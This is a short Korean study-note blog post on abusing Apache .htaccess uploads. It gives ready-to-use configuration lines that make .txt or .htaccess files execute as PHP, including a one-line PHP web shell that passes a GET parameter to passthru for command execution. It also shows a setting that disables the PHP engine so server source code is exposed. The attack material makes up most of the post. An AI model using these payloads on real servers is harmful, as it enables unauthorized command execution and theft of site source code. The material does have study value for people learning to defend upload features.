WEB] .htaccess

노션으로 옮김·2020년 3월 12일
0

Study

목록 보기
2/33
post-thumbnail

.htaccess

  • 현재 위치한 폴더의 http설정을 바꿀수 있게 해준다.

    • /etc/httpd/conf.d 는 글로벌 설정 파일이다.
  • 이용 방식

    • txt 확장자를 php로 인식하여 실행되게 만들기

      • .htaccess 파일 내용 수정 후 업로드
        • AddType application/x-httpd-php .txt
      • php파일을 txt로 확장자 변경 후 업로드 및 실행
    • .htaccess자체를 웹쉘로 이용

      • .htaccess 수정 후 업로드

        <Files ~ "^\.ht">
        
        Order allow, deny
        
        Allow from all
        
        </Files>
        
        interpreted
        
        AddType application/x-httpd-php .htaccess
        
        
        
        <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
    • PHP 엔진 끄고 php 코드 읽기

      • .htaccess 수정 후 업로드

        php_flag engine off
        
        AddType text/plain php

출처 - hyunmini

0개의 댓글